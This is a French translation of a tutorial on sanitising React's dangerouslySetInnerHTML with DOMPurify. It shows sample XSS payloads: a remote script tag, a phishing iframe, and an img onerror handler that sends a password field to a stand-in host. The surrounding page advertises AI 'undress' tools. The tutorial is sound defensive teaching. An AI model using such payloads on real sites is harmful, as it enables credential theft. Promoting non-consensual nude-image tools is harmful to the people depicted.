Maison interface Web js tutoriel Atténuer les exploits XSS lors de l'utilisation de « dangereusement SetInnerHTML » de React

Atténuer les exploits XSS lors de l'utilisation de « dangereusement SetInnerHTML » de React

Sep 13, 2024 am 06:35 AM

Mitigate XSS exploits when using React

Image de couverture par Lautaro Andreani

...

TL : DR; Déverser du contenu aveuglément dans SetInnerHTML de manière dangereuse est exactement cela : dangereux. Assurez-vous de nettoyer dangereusement toute entrée que vous transmettez à SetInnerHTML, sauf si vous avez un contrôle explicite sur l'entrée.

Le composant suivant sert d'exemple simple pour atténuer le risque d'une attaque XSS via dangereusement​SetInnerHTML :

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  }
  return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};

export default DangerousHtml;

En utilisant notre composant DangerousHtml sur mesure, nous pouvons réduire considérablement le risque d'un exploit XSS car nous nettoyons nos entrées avant qu'elles n'atteignent le prop dangereusement​SetInnerHTML

DOMPurify est également hautement configurable, il se peut donc que vous souhaitiez avoir plusieurs composants comme notre exemple pour gérer des cas d'utilisation spécifiques ou autoriser explicitement certains des exemples ci-dessous.

Vous trouverez ci-dessous quelques brefs exemples de la manière dont les exploits pourraient avoir lieu :

Exploiter les balises iFrame et de script

XSS est possible car React ne supprimera pas la balise de script qui pointe vers une charge utile malveillante.

Nous ne devrions vraiment pas non plus transmettre les iFrames de cette manière. Au lieu de cela, nous devrions transmettre l'URL et tout autre attribut "sûr" comme accessoire et le restituer nous-mêmes dans une balise iFrame pour conserver le contrôle de sa capacité de rendu et de sa source, ou disposer d'un composant iFrame dédié.

Par exemple, considérons le balisage malveillant suivant que nous avons reçu d'une requête API. Si nous le définissons aveuglément via dangereusement​SetInnerHTML, nous donnerons à l'utilisateur ce résultat :

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>

Cependant, en utilisant notre composant DangerousHTML à la place, cela signifie que nous avons atténué la plupart des risques auxquels l'utilisateur aurait pu être confronté :

// Bad markup going in
<DangerousHtml
  innerHTML={`<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>

Fiona peut penser que le site Web est défectueux ou qu'il manque du contenu pour une raison quelconque - mais c'est toujours mieux que de se faire hameçonner pour obtenir ses coordonnées bancaires !

Manipulation/empoisonnement d'attributs

Certains éléments du DOM ont des attributs spéciaux dont nous pouvons abuser et contre lesquels nous devons nous protéger.

Dans cet exemple, nous pouvons exécuter du JS sur une image C'est une erreur du tag.

Par exemple, étant donné ce qui suit :

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img
      src="none.png"
      onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
    />
    Sharon
  </p>
</div>

Dans ce cas, notre balisage empoisonné vole des données du DOM lorsque la demande d'image échoue finalement et l'utilisateur ne le saura même jamais.

Nous pouvons à nouveau atténuer cela avec notre composant DangerousHtml

// Bad markup going in
<DangerousHtml
  innerHTML={`
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img src="none.png" />
    Sharon
  </p>
</div>

Étant donné l'argument selon lequel nous pourrions réellement vouloir exécuter du JS pour afficher une image de secours, nous ne devrions pas encore faire confiance au HTML brut et non aseptisé pour le faire à notre place et il serait préférable d'avoir un accessoire fallbackImageURL ou onError que nous peut explicitement ajouter à notre balise d'image comme ceci :

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img
      src={url}
      onerror={displayFallbackImage}
      // ... any other props
    />
  );
};

...

Article original : https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Tutoriel PHP
1587
276
Types conditionnels avancés en dactylographie Types conditionnels avancés en dactylographie Aug 04, 2025 am 06:32 AM

Les types de conditions avancées de TypeScript implémentent le jugement logique entre les types via TextendU? X: Y Syntaxe. Ses capacités de base se reflètent dans les types de conditions distribuées, l'inférence de type inférieure et la construction d'outils de type complexe. 1. Le type conditionnel est distribué dans les paramètres de type nu et peut automatiquement diviser le type de joint, tel que pour obtenir la chaîne [] | nombre []. 2. Utiliser la distribution pour construire des outils de filtrage et d'extraction: exclut exclut les types via TextendU? Never: T, extraire extrait les points communs via TextendU? T: jamais, et des filtres non nuls nuls / non définis. 3

Architecture Micro Frontend: un guide de mise en œuvre pratique Architecture Micro Frontend: un guide de mise en œuvre pratique Aug 02, 2025 am 08:01 AM

MicrofronttendSSolvescalingCallegengeSInLargeTeamsByAnabled indépendante développement et élaboration de choOsanIntegrationsStrategy: UseModuleFederationInwebpack5ForruntimeLoadingAndTrue Independence, Build-Time IntegrationForsIpleSetups, Oriframes / webcomponents webcomponents

Comment trouver la longueur d'un tableau en javascript? Comment trouver la longueur d'un tableau en javascript? Jul 26, 2025 am 07:52 AM

Pour obtenir la longueur d'un tableau JavaScript, vous pouvez utiliser la propriété de longueur intégrée. 1. Utilisez l'attribut .Length pour renvoyer le nombre d'éléments dans le tableau, tels que constfruits = ['Apple', 'banana', 'orange']; console.log (fruits.length); // output: 3; 2. Cet attribut convient aux tableaux contenant tout type de données telles que des chaînes, des nombres, des objets ou des tableaux; 3. L'attribut de longueur sera automatiquement mis à jour et sa valeur changera en conséquence lorsque des éléments seront ajoutés ou supprimés; 4. Il renvoie un décompte basé sur un zéro et la longueur du tableau vide est de 0; 5. L'attribut de longueur peut être modifié manuellement pour tronquer ou étendre le tableau,

Quelles sont les différences entre VAR, LET et const dans JavaScript? Quelles sont les différences entre VAR, LET et const dans JavaScript? Aug 02, 2025 pm 01:30 PM

varisfunction-scoped,canbereassigned,hoistedwithundefined,andattachedtotheglobalwindowobject;2.letandconstareblock-scoped,withletallowingreassignmentandconstnotallowingit,thoughconstobjectscanhavemutableproperties;3.letandconstarehoistedbutnotinitial

Comprendre le proxy de JavaScript et refléter les API Comprendre le proxy de JavaScript et refléter les API Jul 26, 2025 am 07:55 AM

L'API proxy et réflexion sont des outils puissants utilisés dans JavaScript pour intercepter et personnaliser les opérations d'objets; 1. Proxy bloque les opérations telles que GET, définie en emballage des objets cibles et en définissant des "pièges", et implémente des fonctions telles que les journaux, la vérification, le contrôle en lecture seule; 2. Reflect fournit des méthodes correspondant aux pièges à proxy pour garantir la cohérence et l'exactitude des comportements par défaut et améliorer la maintenabilité du code; 3. Les applications pratiques incluent le système réactif VUE3, la vérification des données, les journaux de débogage, les objets immuables et la simulation d'API; 4. Faites attention aux frais généraux de performance, au comportement complexe des objets intégrés, à ces problèmes de liaison et aux objets imbriqués doit être proxyé récursivement; 5. Une utilisation raisonnable peut construire efficace, débatable et réactif

Générer des puzzles à double chocolat résolus: un guide des structures de données et des algorithmes Générer des puzzles à double chocolat résolus: un guide des structures de données et des algorithmes Aug 05, 2025 am 08:30 AM

Cet article explore en profondeur comment générer automatiquement des puzzles solvables pour le jeu de puzzle à double choco. Nous introduirons une structure de données efficace - un objet cellulaire basé sur une grille 2D qui contient des informations limites, des couleurs et de l'état. Sur cette base, nous développerons un algorithme récursif de reconnaissance de blocs (similaire à la recherche en profondeur-première) et comment l'intégrer dans le processus de génération de puzz itérative pour garantir que les énigmes générées respectent les règles du jeu et sont résolubles. L'article fournira un exemple de code et discutera des considérations clés et des stratégies d'optimisation dans le processus de génération.

Qu'est-ce que le chaînage facultatif (?.) Dans JS? Qu'est-ce que le chaînage facultatif (?.) Dans JS? Aug 01, 2025 am 06:18 AM

FacultatifChaining (?.) Injavascriptsafely accessifiedProperties enrituration

Comment pouvez-vous supprimer une classe CSS d'un élément DOM à l'aide de JavaScript? Comment pouvez-vous supprimer une classe CSS d'un élément DOM à l'aide de JavaScript? Aug 05, 2025 pm 12:51 PM

La méthode la plus courante et recommandée pour supprimer les classes CSS des éléments DOM à l'aide de JavaScript est via la méthode Suppor () de la propriété ClassList. 1. Utilisez Element.ClassList.Remove ('ClassName') pour supprimer en toute sécurité une seule ou plusieurs classes, et aucune erreur ne sera signalée même si la classe n'existe pas; 2. La méthode alternative consiste à utiliser directement la propriété ClassName et à supprimer la classe par remplacement de chaîne, mais il est facile de causer des problèmes en raison d'une correspondance régulière ou d'un traitement d'espace incorrect, donc il n'est pas recommandé; 3. Vous pouvez d'abord juger si la classe existe, puis la supprimer via element.classList.Contains (), mais ce n'est généralement pas nécessaire; 4.Classlist

See all articles